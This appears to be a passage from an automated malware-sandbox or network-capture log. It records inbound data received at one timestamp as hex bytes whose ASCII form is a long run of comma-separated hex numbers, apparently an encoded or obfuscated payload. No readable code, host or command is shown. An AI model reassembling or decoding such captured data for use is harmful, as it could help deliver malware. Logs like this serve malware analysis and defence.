2023-04-20 23:05:02 UTC	11245	IN	Data Raw: 66 2c 64 62 2c 31 31 30 2c 31 32 66 2c 37 39 2c 31 33 64 2c 39 64 2c 66 65 2c 37 63 2c 65 64 2c 64 30 2c 37 34 2c 31 31 31 2c 39 30 2c 38 34 2c 31 30 33 2c 39 34 2c 31 31 62 2c 31 30 30 2c 31 32 62 2c 64 39 2c 31 34 35 2c 62 38 2c 62 65 2c 63 33 2c 66 30 2c 61 35 2c 31 37 35 2c 61 34 2c 36 34 2c 38 64 2c 31 30 35 2c 39 65 2c 31 30 36 2c 38 64 2c 64 39 2c 38 66 2c 61 61 2c 61 36 2c 31 32 33 2c 62 36 2c 35 33 2c 66 37 2c 37 61 2c 37 37 2c 64 34 2c 64 32 2c 37 36 2c 62 33 2c 63 31 2c 35 34 2c 36 32 2c 63 34 2c 31 35 37 2c 31 33 30 2c 34 34 2c 64 36 2c 37 36 2c 64 66 2c 66 36 2c 39 61 2c 66 65 2c 34 63 2c 31 31 63 2c 61 63 2c 61 61 2c 31 33 39 2c 37 61 2c 64 32 2c 39 31 2c 35 39 2c 64 63 2c 31 33 62 2c 31 31 36 2c 37 63 2c 38 34 2c 66 33 2c 35 63 2c 38 62 2c Data Ascii: f,db,110,12f,79,13d,9d,fe,7c,ed,d0,74,111,90,84,103,94,11b,100,12b,d9,145,b8,be,c3,f0,a5,175,a4,64,8d,105,9e,106,8d,d9,8f,aa,a6,123,b6,53,f7,7a,77,d4,d2,76,b3,c1,54,62,c4,157,130,44,d6,76,df,f6,9a,fe,4c,11c,ac,aa,139,7a,d2,91,59,dc,13b,116,7c,84,f3,5c,8b,
2023-04-20 23:05:02 UTC	11261	IN	Data Raw: 2c 63 64 2c 66 62 2c 38 30 2c 65 61 2c 65 61 2c 36 65 2c 61 33 2c 37 32 2c 64 61 2c 66 32 2c 31 37 31 2c 65 38 2c 36 65 2c 61 30 2c 37 39 2c 61 38 2c 31 33 30 2c 31 33 66 2c 65 35 2c 64 37 2c 62 64 2c 38 31 2c 62 66 2c 31 36 64 2c 37 63 2c 31 32 39 2c 38 39 2c 36 63 2c 39 37 2c 31 30 61 2c 31 33 31 2c 63 30 2c 63 61 2c 66 65 2c 35 35 2c 39 31 2c 62 35 2c 36 39 2c 61 62 2c 38 35 2c 62 61 2c 63 32 2c 64 36 2c 63 30 2c 31 30 30 2c 62 39 2c 37 37 2c 38 30 2c 66 66 2c 31 30 38 2c 38 36 2c 63 61 2c 39 33 2c 66 61 2c 65 34 2c 61 66 2c 37 66 2c 35 36 2c 31 34 32 2c 31 33 63 2c 31 31 35 2c 64 36 2c 61 30 2c 64 63 2c 39 31 2c 61 37 2c 62 63 2c 62 32 2c 65 36 2c 61 32 2c 31 33 34 2c 63 38 2c 31 31 30 2c 31 33 66 2c 63 37 2c 31 36 34 2c 31 32 31 2c 36 34 2c 61 36 2c Data Ascii: ,cd,fb,80,ea,ea,6e,a3,72,da,f2,171,e8,6e,a0,79,a8,130,13f,e5,d7,bd,81,bf,16d,7c,129,89,6c,97,10a,131,c0,ca,fe,55,91,b5,69,ab,85,ba,c2,d6,c0,100,b9,77,80,ff,108,86,ca,93,fa,e4,af,7f,56,142,13c,115,d6,a0,dc,91,a7,bc,b2,e6,a2,134,c8,110,13f,c7,164,121,64,a6,
2023-04-20 23:05:02 UTC	11277	IN	Data Raw: 31 2c 31 36 34 2c 31 30 61 2c 64 38 2c 37 64 2c 31 32 39 2c 31 33 39 2c 36 62 2c 65 39 2c 35 65 2c 31 32 66 2c 36 64 2c 31 34 38 2c 39 39 2c 31 30 30 2c 31 32 31 2c 63 36 2c 31 34 65 2c 31 34 39 2c 31 33 33 2c 64 64 2c 65 37 2c 61 38 2c 38 32 2c 31 33 62 2c 35 39 2c 64 61 2c 34 30 2c 35 34 2c 63 30 2c 37 30 2c 37 61 2c 37 61 2c 31 35 36 2c 36 64 2c 64 37 2c 65 39 2c 31 32 33 2c 38 61 2c 66 35 2c 31 31 32 2c 61 33 2c 38 36 2c 35 30 2c 38 38 2c 31 31 61 2c 38 64 2c 37 35 2c 66 65 2c 31 35 33 2c 63 30 2c 34 38 2c 37 38 2c 63 34 2c 31 36 36 2c 39 34 2c 63 34 2c 35 37 2c 63 32 2c 34 31 2c 31 31 30 2c 66 63 2c 37 66 2c 64 34 2c 31 30 33 2c 31 35 61 2c 31 32 36 2c 31 36 63 2c 37 63 2c 31 32 39 2c 38 39 2c 31 32 33 2c 31 30 38 2c 66 31 2c 63 32 2c 33 66 2c 39 30 Data Ascii: 1,164,10a,d8,7d,129,139,6b,e9,5e,12f,6d,148,99,100,121,c6,14e,149,133,dd,e7,a8,82,13b,59,da,40,54,c0,70,7a,7a,156,6d,d7,e9,123,8a,f5,112,a3,86,50,88,11a,8d,75,fe,153,c0,48,78,c4,166,94,c4,57,c2,41,110,fc,7f,d4,103,15a,126,16c,7c,129,89,123,108,f1,c2,3f,90
2023-04-20 23:05:02 UTC	11293	IN	Data Raw: 64 2c 39 32 2c 61 30 2c 39 35 2c 37 30 2c 31 34 63 2c 31 30 38 2c 31 34 66 2c 31 34 33 2c 62 63 2c 39 38 2c 65 37 2c 39 30 2c 65 36 2c 65 36 2c 38 35 2c 31 34 30 2c 31 32 37 2c 37 36 2c 31 35 30 2c 61 33 2c 62 30 2c 38 65 2c 31 31 64 2c 63 35 2c 39 32 2c 36 39 2c 31 30 62 2c 31 33 32 2c 64 38 2c 31 33 30 2c 38 32 2c 37 31 2c 66 64 2c 31 30 66 2c 33 38 2c 64 35 2c 37 37 2c 64 31 2c 31 32 36 2c 36 61 2c 31 32 33 2c 31 32 61 2c 31 33 30 2c 39 65 2c 38 62 2c 36 39 2c 31 36 35 2c 37 33 2c 37 30 2c 31 34 61 2c 66 37 2c 31 35 64 2c 39 37 2c 37 32 2c 31 34 64 2c 38 39 2c 36 62 2c 31 33 65 2c 64 39 2c 36 37 2c 31 33 61 2c 31 31 35 2c 38 66 2c 63 30 2c 65 37 2c 31 34 62 2c 61 64 2c 31 34 37 2c 31 34 62 2c 31 31 33 2c 36 34 2c 31 33 32 2c 63 63 2c 65 66 2c 63 30 2c Data Ascii: d,92,a0,95,70,14c,108,14f,143,bc,98,e7,90,e6,e6,85,140,127,76,150,a3,b0,8e,11d,c5,92,69,10b,132,d8,130,82,71,fd,10f,38,d5,77,d1,126,6a,123,12a,130,9e,8b,69,165,73,70,14a,f7,15d,97,72,14d,89,6b,13e,d9,67,13a,115,8f,c0,e7,14b,ad,147,14b,113,64,132,cc,ef,c0,
2023-04-20 23:05:02 UTC	11309	IN	Data Raw: 65 2c 66 65 2c 31 34 31 2c 63 33 2c 31 36 39 2c 31 31 39 2c 34 62 2c 31 31 39 2c 37 66 2c 31 33 32 2c 36 31 2c 31 35 32 2c 31 30 61 2c 62 30 2c 66 64 2c 31 31 39 2c 37 34 2c 31 34 30 2c 64 37 2c 31 34 39 2c 64 63 2c 66 36 2c 38 30 2c 31 30 63 2c 31 32 39 2c 31 33 62 2c 35 64 2c 31 34 61 2c 31 31 37 2c 65 65 2c 38 62 2c 31 35 65 2c 62 63 2c 31 31 36 2c 63 39 2c 36 36 2c 31 31 62 2c 63 36 2c 35 37 2c 39 62 2c 31 33 31 2c 62 63 2c 36 31 2c 64 30 2c 31 34 61 2c 39 65 2c 39 65 2c 64 31 2c 62 30 2c 31 32 38 2c 39 35 2c 31 35 30 2c 65 34 2c 31 31 39 2c 39 62 2c 65 34 2c 31 31 37 2c 35 31 2c 35 66 2c 31 31 62 2c 39 31 2c 31 30 61 2c 66 34 2c 62 62 2c 31 33 39 2c 37 36 2c 38 39 2c 62 64 2c 37 39 2c 31 32 33 2c 35 35 2c 61 37 2c 31 34 61 2c 66 63 2c 64 64 2c 31 30 Data Ascii: e,fe,141,c3,169,119,4b,119,7f,132,61,152,10a,b0,fd,119,74,140,d7,149,dc,f6,80,10c,129,13b,5d,14a,117,ee,8b,15e,bc,116,c9,66,11b,c6,57,9b,131,bc,61,d0,14a,9e,9e,d1,b0,128,95,150,e4,119,9b,e4,117,51,5f,11b,91,10a,f4,bb,139,76,89,bd,79,123,55,a7,14a,fc,dd,10
2023-04-20 23:05:02 UTC	11325	IN	Data Raw: 31 36 38 2c 31 30 33 2c 31 33 32 2c 35 32 2c 31 36 62 2c 63 66 2c 35 37 2c 39 61 2c 31 35 30 2c 62 61 2c 64 65 2c 36 63 2c 31 34 63 2c 39 31 2c 64 30 2c 64 35 2c 31 34 37 2c 63 66 2c 62 36 2c 34 35 2c 35 65 2c 34 66 2c 39 32 2c 37 61 2c 37 61 2c 39 39 2c 38 61 2c 62 34 2c 36 63 2c 31 30 62 2c 31 32 64 2c 35 63 2c 31 36 61 2c 62 35 2c 36 34 2c 37 39 2c 31 36 62 2c 31 33 36 2c 31 31 39 2c 38 62 2c 31 35 62 2c 64 34 2c 31 33 39 2c 63 38 2c 31 34 30 2c 39 65 2c 65 33 2c 31 33 66 2c 62 31 2c 31 35 30 2c 38 30 2c 62 61 2c 35 39 2c 31 33 30 2c 38 63 2c 31 34 31 2c 63 35 2c 36 62 2c 36 35 2c 31 33 61 2c 31 33 61 2c 31 32 33 2c 31 33 37 2c 31 32 35 2c 31 31 61 2c 35 64 2c 34 66 2c 66 37 2c 62 32 2c 31 30 36 2c 39 35 2c 31 32 62 2c 31 35 38 2c 31 30 36 2c 66 36 2c Data Ascii: 168,103,132,52,16b,cf,57,9a,150,ba,de,6c,14c,91,d0,d5,147,cf,b6,45,5e,4f,92,7a,7a,99,8a,b4,6c,10b,12d,5c,16a,b5,64,79,16b,136,119,8b,15b,d4,139,c8,140,9e,e3,13f,b1,150,80,ba,59,130,8c,141,c5,6b,65,13a,13a,123,137,125,11a,5d,4f,f7,b2,106,95,12b,158,106,f6,
2023-04-20 23:05:02 UTC	11341	IN	Data Raw: 39 37 2c 62 39 2c 31 34 31 2c 36 36 2c 38 39 2c 31 31 63 2c 36 64 2c 66 62 2c 35 65 2c 63 38 2c 31 31 39 2c 31 35 32 2c 33 64 2c 38 39 2c 31 30 64 2c 65 39 2c 35 61 2c 65 61 2c 31 34 66 2c 31 31 31 2c 35 38 2c 37 61 2c 31 34 66 2c 38 30 2c 36 32 2c 31 32 64 2c 36 32 2c 62 33 2c 37 61 2c 31 33 32 2c 63 31 2c 39 39 2c 39 61 2c 31 30 64 2c 36 64 2c 66 64 2c 38 38 2c 39 63 2c 65 39 2c 31 31 65 2c 37 37 2c 62 34 2c 61 33 2c 31 34 37 2c 37 61 2c 31 31 30 2c 62 61 2c 66 33 2c 63 65 2c 31 30 30 2c 37 36 2c 36 36 2c 31 30 33 2c 63 66 2c 37 35 2c 31 32 65 2c 39 36 2c 31 34 65 2c 37 66 2c 66 38 2c 61 65 2c 36 38 2c 37 36 2c 39 32 2c 31 31 34 2c 31 34 36 2c 61 62 2c 66 63 2c 62 65 2c 31 30 61 2c 31 34 38 2c 65 61 2c 37 34 2c 39 62 2c 39 32 2c 31 34 39 2c 33 62 2c 63 Data Ascii: 97,b9,141,66,89,11c,6d,fb,5e,c8,119,152,3d,89,10d,e9,5a,ea,14f,111,58,7a,14f,80,62,12d,62,b3,7a,132,c1,99,9a,10d,6d,fd,88,9c,e9,11e,77,b4,a3,147,7a,110,ba,f3,ce,100,76,66,103,cf,75,12e,96,14e,7f,f8,ae,68,76,92,114,146,ab,fc,be,10a,148,ea,74,9b,92,149,3b,c
2023-04-20 23:05:02 UTC	11357	IN	Data Raw: 2c 37 61 2c 31 30 32 2c 34 32 2c 31 34 63 2c 39 65 2c 39 62 2c 35 63 2c 31 34 66 2c 31 30 33 2c 36 64 2c 35 39 2c 31 31 66 2c 38 33 2c 36 39 2c 36 31 2c 64 31 2c 36 63 2c 31 36 32 2c 37 35 2c 66 33 2c 37 61 2c 39 31 2c 39 39 2c 31 33 34 2c 63 34 2c 66 66 2c 65 32 2c 39 30 2c 36 64 2c 37 63 2c 38 63 2c 31 32 33 2c 63 36 2c 31 34 39 2c 39 63 2c 31 35 36 2c 65 35 2c 66 30 2c 31 32 33 2c 37 31 2c 38 64 2c 31 31 31 2c 62 31 2c 64 63 2c 36 65 2c 31 30 64 2c 64 65 2c 64 65 2c 31 34 36 2c 64 38 2c 65 66 2c 31 32 38 2c 62 36 2c 31 31 36 2c 63 39 2c 31 33 64 2c 65 39 2c 62 66 2c 61 32 2c 34 35 2c 61 64 2c 31 30 37 2c 61 39 2c 31 30 36 2c 36 63 2c 39 61 2c 62 30 2c 37 66 2c 31 36 35 2c 39 66 2c 64 34 2c 61 62 2c 31 36 38 2c 31 33 64 2c 39 32 2c 36 63 2c 63 61 2c 31 Data Ascii: ,7a,102,42,14c,9e,9b,5c,14f,103,6d,59,11f,83,69,61,d1,6c,162,75,f3,7a,91,99,134,c4,ff,e2,90,6d,7c,8c,123,c6,149,9c,156,e5,f0,123,71,8d,111,b1,dc,6e,10d,de,de,146,d8,ef,128,b6,116,c9,13d,e9,bf,a2,45,ad,107,a9,106,6c,9a,b0,7f,165,9f,d4,ab,168,13d,92,6c,ca,1
2023-04-20 23:05:02 UTC	11373	IN	Data Raw: 37 34 2c 63 65 2c 66 30 2c 66 61 2c 61 38 2c 63 35 2c 31 30 37 2c 31 34 61 2c 37 66 2c 31 35 38 2c 63 38 2c 39 37 2c 61 36 2c 31 31 30 2c 39 62 2c 31 30 36 2c 31 34 64 2c 31 30 36 2c 35 33 2c 39 61 2c 31 32 61 2c 34 62 2c 35 38 2c 65 61 2c 66 31 2c 31 30 62 2c 34 34 2c 61 61 2c 31 33 61 2c 65 35 2c 35 65 2c 66 62 2c 63 37 2c 31 32 61 2c 35 32 2c 31 32 39 2c 31 30 39 2c 34 65 2c 35 66 2c 36 30 2c 31 35 36 2c 31 35 37 2c 65 34 2c 31 31 65 2c 31 31 38 2c 64 65 2c 66 30 2c 62 64 2c 38 61 2c 31 31 66 2c 61 32 2c 38 64 2c 37 62 2c 38 61 2c 62 30 2c 31 34 64 2c 31 35 62 2c 31 35 35 2c 65 63 2c 31 34 36 2c 65 34 2c 63 66 2c 38 39 2c 38 64 2c 39 35 2c 61 32 2c 64 66 2c 35 36 2c 66 63 2c 31 32 31 2c 36 34 2c 66 34 2c 38 35 2c 36 37 2c 31 31 30 2c 39 34 2c 65 30 2c Data Ascii: 74,ce,f0,fa,a8,c5,107,14a,7f,158,c8,97,a6,110,9b,106,14d,106,53,9a,12a,4b,58,ea,f1,10b,44,aa,13a,e5,5e,fb,c7,12a,52,129,109,4e,5f,60,156,157,e4,11e,118,de,f0,bd,8a,11f,a2,8d,7b,8a,b0,14d,15b,155,ec,146,e4,cf,89,8d,95,a2,df,56,fc,121,64,f4,85,67,110,94,e0,
2023-04-20 23:05:02 UTC	11389	IN	Data Raw: 66 2c 31 31 30 2c 31 34 62 2c 31 30 63 2c 31 32 61 2c 31 30 37 2c 64 63 2c 31 35 33 2c 31 35 34 2c 61 65 2c 37 63 2c 31 30 38 2c 36 32 2c 36 30 2c 39 39 2c 39 34 2c 31 34 38 2c 38 35 2c 62 63 2c 31 35 35 2c 64 36 2c 63 64 2c 39 37 2c 66 37 2c 31 33 61 2c 62 38 2c 37 31 2c 37 61 2c 31 34 34 2c 63 61 2c 37 34 2c 31 34 62 2c 37 66 2c 31 35 38 2c 65 31 2c 66 36 2c 38 62 2c 65 65 2c 31 34 36 2c 66 63 2c 61 34 2c 63 32 2c 36 33 2c 64 36 2c 31 33 61 2c 66 63 2c 31 30 31 2c 31 31 61 2c 66 39 2c 31 35 64 2c 65 32 2c 66 31 2c 36 38 2c 64 64 2c 62 31 2c 62 30 2c 31 33 61 2c 31 30 36 2c 31 31 33 2c 31 30 38 2c 31 36 39 2c 34 37 2c 37 61 2c 38 61 2c 66 64 2c 39 65 2c 61 38 2c 31 32 38 2c 37 36 2c 31 35 30 2c 31 35 62 2c 31 31 61 2c 39 35 2c 31 33 63 2c 35 36 2c 38 39 Data Ascii: f,110,14b,10c,12a,107,dc,153,154,ae,7c,108,62,60,99,94,148,85,bc,155,d6,cd,97,f7,13a,b8,71,7a,144,ca,74,14b,7f,158,e1,f6,8b,ee,146,fc,a4,c2,63,d6,13a,fc,101,11a,f9,15d,e2,f1,68,dd,b1,b0,13a,106,113,108,169,47,7a,8a,fd,9e,a8,128,76,150,15b,11a,95,13c,56,89
2023-04-20 23:05:02 UTC	11405	IN	Data Raw: 65 35 2c 39 34 2c 62 38 2c 63 39 2c 66 66 2c 31 34 62 2c 61 65 2c 63 36 2c 31 30 31 2c 64 35 2c 66 64 2c 63 62 2c 61 38 2c 38 36 2c 39 34 2c 31 30 36 2c 31 36 63 2c 31 30 65 2c 64 64 2c 36 33 2c 39 32 2c 31 36 34 2c 64 38 2c 62 62 2c 66 64 2c 31 30 32 2c 31 33 66 2c 66 61 2c 62 37 2c 37 31 2c 31 30 30 2c 62 37 2c 64 63 2c 66 35 2c 63 37 2c 31 31 38 2c 62 64 2c 61 62 2c 61 35 2c 31 35 65 2c 31 35 38 2c 65 66 2c 61 31 2c 66 35 2c 65 35 2c 31 34 36 2c 64 38 2c 63 35 2c 64 61 2c 64 61 2c 38 66 2c 38 61 2c 31 30 37 2c 31 31 37 2c 64 65 2c 35 62 2c 31 30 30 2c 63 30 2c 36 63 2c 34 61 2c 31 31 66 2c 31 31 35 2c 31 30 36 2c 38 61 2c 31 30 63 2c 37 62 2c 37 30 2c 31 31 61 2c 63 32 2c 66 65 2c 31 30 66 2c 31 37 36 2c 65 64 2c 31 34 63 2c 37 31 2c 31 33 33 2c 31 31 Data Ascii: e5,94,b8,c9,ff,14b,ae,c6,101,d5,fd,cb,a8,86,94,106,16c,10e,dd,63,92,164,d8,bb,fd,102,13f,fa,b7,71,100,b7,dc,f5,c7,118,bd,ab,a5,15e,158,ef,a1,f5,e5,146,d8,c5,da,da,8f,8a,107,117,de,5b,100,c0,6c,4a,11f,115,106,8a,10c,7b,70,11a,c2,fe,10f,176,ed,14c,71,133,11
2023-04-20 23:05:02 UTC	11421	IN	Data Raw: 2c 38 63 2c 66 65 2c 31 31 62 2c 66 34 2c 37 65 2c 39 61 2c 65 36 2c 31 34 35 2c 31 32 63 2c 31 35 38 2c 38 61 2c 31 32 35 2c 37 66 2c 31 30 36 2c 34 64 2c 37 30 2c 38 31 2c 61 62 2c 37 35 2c 31 30 31 2c 37 33 2c 66 30 2c 61 38 2c 31 35 32 2c 65 30 2c 36 30 2c 31 33 33 2c 63 38 2c 64 39 2c 31 32 64 2c 39 61 2c 64 63 2c 64 34 2c 31 34 61 2c 66 39 2c 39 63 2c 66 61 2c 31 32 38 2c 36 33 2c 61 37 2c 31 34 30 2c 64 63 2c 62 64 2c 39 62 2c 31 30 35 2c 31 33 31 2c 66 34 2c 37 32 2c 38 30 2c 31 32 34 2c 31 35 36 2c 66 34 2c 62 66 2c 66 38 2c 66 63 2c 31 35 33 2c 36 31 2c 31 32 64 2c 61 30 2c 65 31 2c 65 38 2c 35 36 2c 38 36 2c 64 66 2c 62 63 2c 31 36 37 2c 65 32 2c 62 64 2c 39 65 2c 31 30 34 2c 38 33 2c 61 34 2c 61 30 2c 36 34 2c 39 30 2c 31 30 34 2c 37 66 2c 31 Data Ascii: ,8c,fe,11b,f4,7e,9a,e6,145,12c,158,8a,125,7f,106,4d,70,81,ab,75,101,73,f0,a8,152,e0,60,133,c8,d9,12d,9a,dc,d4,14a,f9,9c,fa,128,63,a7,140,dc,bd,9b,105,131,f4,72,80,124,156,f4,bf,f8,fc,153,61,12d,a0,e1,e8,56,86,df,bc,167,e2,bd,9e,104,83,a4,a0,64,90,104,7f,1
2023-04-20 23:05:02 UTC	11437	IN	Data Raw: 2c 62 38 2c 66 38 2c 64 64 2c 63 30 2c 31 31 36 2c 34 38 2c 38 66 2c 31 36 33 2c 62 31 2c 31 35 36 2c 64 65 2c 64 36 2c 37 37 2c 65 32 2c 38 64 2c 64 35 2c 31 31 30 2c 31 32 39 2c 64 34 2c 61 62 2c 61 64 2c 36 63 2c 63 36 2c 62 38 2c 66 66 2c 31 36 30 2c 61 33 2c 65 65 2c 37 61 2c 61 64 2c 63 33 2c 31 37 35 2c 64 39 2c 36 65 2c 31 33 62 2c 37 62 2c 31 32 34 2c 65 31 2c 65 64 2c 65 65 2c 31 35 38 2c 31 35 64 2c 33 38 2c 65 62 2c 62 61 2c 66 61 2c 31 30 33 2c 31 31 34 2c 31 30 30 2c 37 37 2c 62 63 2c 63 35 2c 66 61 2c 31 32 64 2c 64 38 2c 37 39 2c 31 33 63 2c 62 31 2c 38 64 2c 63 30 2c 39 35 2c 36 65 2c 31 32 39 2c 31 34 63 2c 31 32 38 2c 37 61 2c 39 61 2c 66 65 2c 63 33 2c 38 61 2c 31 31 37 2c 31 37 35 2c 65 62 2c 37 30 2c 39 32 2c 31 34 63 2c 37 62 2c 66 Data Ascii: ,b8,f8,dd,c0,116,48,8f,163,b1,156,de,d6,77,e2,8d,d5,110,129,d4,ab,ad,6c,c6,b8,ff,160,a3,ee,7a,ad,c3,175,d9,6e,13b,7b,124,e1,ed,ee,158,15d,38,eb,ba,fa,103,114,100,77,bc,c5,fa,12d,d8,79,13c,b1,8d,c0,95,6e,129,14c,128,7a,9a,fe,c3,8a,117,175,eb,70,92,14c,7b,f
2023-04-20 23:05:02 UTC	11453	IN	Data Raw: 31 34 62 2c 39 66 2c 65 39 2c 39 34 2c 31 36 34 2c 64 61 2c 36 35 2c 31 31 38 2c 31 34 64 2c 31 31 31 2c 31 35 61 2c 65 66 2c 35 66 2c 31 31 35 2c 39 33 2c 31 33 37 2c 35 63 2c 65 38 2c 35 33 2c 63 39 2c 31 31 63 2c 35 64 2c 35 61 2c 31 30 64 2c 31 35 61 2c 65 61 2c 35 61 2c 63 61 2c 64 36 2c 31 30 35 2c 31 30 65 2c 65 33 2c 31 34 63 2c 66 37 2c 35 39 2c 61 34 2c 31 36 62 2c 64 66 2c 31 33 63 2c 31 34 66 2c 64 34 2c 65 31 2c 38 65 2c 61 31 2c 35 37 2c 64 66 2c 63 65 2c 31 34 61 2c 31 33 33 2c 63 62 2c 36 37 2c 38 37 2c 31 34 30 2c 39 64 2c 36 62 2c 64 31 2c 31 35 36 2c 64 30 2c 31 30 61 2c 64 35 2c 31 35 34 2c 38 62 2c 37 31 2c 31 30 35 2c 38 38 2c 61 30 2c 65 39 2c 36 34 2c 31 35 33 2c 36 36 2c 31 34 30 2c 39 37 2c 31 33 35 2c 38 30 2c 37 32 2c 65 61 2c Data Ascii: 14b,9f,e9,94,164,da,65,118,14d,111,15a,ef,5f,115,93,137,5c,e8,53,c9,11c,5d,5a,10d,15a,ea,5a,ca,d6,105,10e,e3,14c,f7,59,a4,16b,df,13c,14f,d4,e1,8e,a1,57,df,ce,14a,133,cb,67,87,140,9d,6b,d1,156,d0,10a,d5,154,8b,71,105,88,a0,e9,64,153,66,140,97,135,80,72,ea,
2023-04-20 23:05:02 UTC	11469	IN	Data Raw: 32 32 2c 37 64 2c 36 37 2c 31 31 39 2c 31 32 65 2c 64 30 2c 63 34 2c 63 34 2c 31 30 63 2c 33 31 2c 64 66 2c 31 33 31 2c 63 32 2c 66 61 2c 37 33 2c 38 38 2c 31 31 38 2c 37 39 2c 61 35 2c 31 35 33 2c 31 36 33 2c 31 34 34 2c 61 63 2c 66 34 2c 31 33 62 2c 31 30 35 2c 35 38 2c 34 39 2c 31 33 66 2c 31 35 36 2c 31 30 65 2c 64 34 2c 37 39 2c 63 37 2c 31 32 62 2c 31 32 63 2c 39 37 2c 31 31 62 2c 31 35 35 2c 66 35 2c 64 62 2c 31 32 62 2c 62 65 2c 62 66 2c 62 65 2c 38 61 2c 38 32 2c 38 36 2c 31 33 61 2c 31 31 36 2c 31 34 30 2c 36 31 2c 61 37 2c 64 31 2c 31 35 31 2c 37 61 2c 65 61 2c 66 39 2c 37 32 2c 66 64 2c 31 32 32 2c 66 61 2c 62 35 2c 31 33 63 2c 62 36 2c 65 39 2c 63 32 2c 66 30 2c 31 33 63 2c 62 39 2c 66 39 2c 31 32 61 2c 38 39 2c 37 63 2c 31 36 33 2c 66 61 2c Data Ascii: 22,7d,67,119,12e,d0,c4,c4,10c,31,df,131,c2,fa,73,88,118,79,a5,153,163,144,ac,f4,13b,105,58,49,13f,156,10e,d4,79,c7,12b,12c,97,11b,155,f5,db,12b,be,bf,be,8a,82,86,13a,116,140,61,a7,d1,151,7a,ea,f9,72,fd,122,fa,b5,13c,b6,e9,c2,f0,13c,b9,f9,12a,89,7c,163,fa,
2023-04-20 23:05:02 UTC	11485	IN	Data Raw: 2c 36 39 2c 34 65 2c 39 63 2c 39 37 2c 63 64 2c 66 63 2c 39 36 2c 31 34 64 2c 66 37 2c 62 35 2c 31 33 61 2c 63 37 2c 61 63 2c 31 34 34 2c 61 36 2c 31 31 34 2c 31 34 32 2c 66 66 2c 64 38 2c 39 30 2c 31 31 61 2c 31 32 30 2c 38 33 2c 64 37 2c 31 31 31 2c 61 39 2c 66 63 2c 63 64 2c 31 33 32 2c 31 30 62 2c 31 30 64 2c 62 36 2c 31 30 38 2c 63 33 2c 65 61 2c 31 33 33 2c 64 36 2c 31 30 31 2c 34 64 2c 31 30 65 2c 31 32 65 2c 36 65 2c 31 31 63 2c 63 30 2c 31 31 65 2c 62 62 2c 31 30 65 2c 64 30 2c 31 31 66 2c 61 65 2c 34 39 2c 31 32 33 2c 63 33 2c 37 31 2c 31 30 31 2c 65 38 2c 38 33 2c 64 30 2c 61 65 2c 31 30 66 2c 63 65 2c 31 33 31 2c 37 65 2c 31 30 66 2c 31 34 64 2c 35 31 2c 37 33 2c 39 64 2c 31 33 35 2c 64 35 2c 65 33 2c 64 37 2c 31 33 30 2c 36 30 2c 36 39 2c 65 Data Ascii: ,69,4e,9c,97,cd,fc,96,14d,f7,b5,13a,c7,ac,144,a6,114,142,ff,d8,90,11a,120,83,d7,111,a9,fc,cd,132,10b,10d,b6,108,c3,ea,133,d6,101,4d,10e,12e,6e,11c,c0,11e,bb,10e,d0,11f,ae,49,123,c3,71,101,e8,83,d0,ae,10f,ce,131,7e,10f,14d,51,73,9d,135,d5,e3,d7,130,60,69,e
2023-04-20 23:05:02 UTC	11501	IN	Data Raw: 65 2c 66 63 2c 65 36 2c 61 31 2c 31 32 62 2c 63 38 2c 31 30 31 2c 36 38 2c 62 63 2c 37 36 2c 63 66 2c 38 35 2c 31 34 38 2c 64 39 2c 61 32 2c 31 34 62 2c 38 33 2c 38 31 2c 31 33 65 2c 31 33 65 2c 38 64 2c 37 62 2c 38 61 2c 38 32 2c 64 35 2c 63 61 2c 66 64 2c 66 31 2c 31 34 38 2c 39 64 2c 31 36 65 2c 38 62 2c 39 30 2c 34 65 2c 65 30 2c 31 30 30 2c 62 39 2c 61 31 2c 63 30 2c 39 38 2c 65 38 2c 37 31 2c 31 30 37 2c 31 34 31 2c 31 31 62 2c 61 32 2c 36 32 2c 31 32 32 2c 31 32 33 2c 36 38 2c 35 65 2c 62 37 2c 31 34 32 2c 39 64 2c 64 35 2c 64 38 2c 37 35 2c 37 35 2c 62 31 2c 31 30 33 2c 37 62 2c 61 63 2c 31 36 63 2c 39 33 2c 62 31 2c 31 31 35 2c 31 33 38 2c 37 63 2c 62 65 2c 65 62 2c 36 38 2c 39 32 2c 31 33 34 2c 36 65 2c 66 37 2c 31 34 66 2c 31 34 34 2c 31 31 34 Data Ascii: e,fc,e6,a1,12b,c8,101,68,bc,76,cf,85,148,d9,a2,14b,83,81,13e,13e,8d,7b,8a,82,d5,ca,fd,f1,148,9d,16e,8b,90,4e,e0,100,b9,a1,c0,98,e8,71,107,141,11b,a2,62,122,123,68,5e,b7,142,9d,d5,d8,75,75,b1,103,7b,ac,16c,93,b1,115,138,7c,be,eb,68,92,134,6e,f7,14f,144,114
2023-04-20 23:05:02 UTC	11517	IN	Data Raw: 30 2c 61 32 2c 31 35 31 2c 39 37 2c 39 39 2c 66 37 2c 31 34 61 2c 31 30 39 2c 31 30 66 2c 34 62 2c 31 32 31 2c 39 33 2c 31 36 63 2c 66 37 2c 31 33 63 2c 31 31 32 2c 31 33 33 2c 63 66 2c 38 37 2c 63 65 2c 31 31 62 2c 61 32 2c 31 33 37 2c 31 30 66 2c 31 31 33 2c 31 33 33 2c 31 35 66 2c 39 36 2c 65 65 2c 66 62 2c 31 35 35 2c 66 63 2c 63 31 2c 64 66 2c 31 36 36 2c 38 63 2c 63 61 2c 62 39 2c 31 31 34 2c 31 30 61 2c 31 36 61 2c 37 33 2c 31 30 39 2c 31 31 32 2c 37 66 2c 31 33 30 2c 31 31 37 2c 31 31 31 2c 34 38 2c 65 38 2c 31 32 30 2c 36 38 2c 62 32 2c 31 30 33 2c 64 61 2c 31 31 63 2c 31 30 31 2c 31 33 37 2c 31 32 65 2c 39 31 2c 39 64 2c 65 61 2c 31 35 62 2c 31 30 66 2c 31 32 30 2c 66 30 2c 31 34 36 2c 35 34 2c 31 30 62 2c 37 66 2c 31 34 32 2c 31 31 62 2c 66 31 Data Ascii: 0,a2,151,97,99,f7,14a,109,10f,4b,121,93,16c,f7,13c,112,133,cf,87,ce,11b,a2,137,10f,113,133,15f,96,ee,fb,155,fc,c1,df,166,8c,ca,b9,114,10a,16a,73,109,112,7f,130,117,111,48,e8,120,68,b2,103,da,11c,101,137,12e,91,9d,ea,15b,10f,120,f0,146,54,10b,7f,142,11b,f1
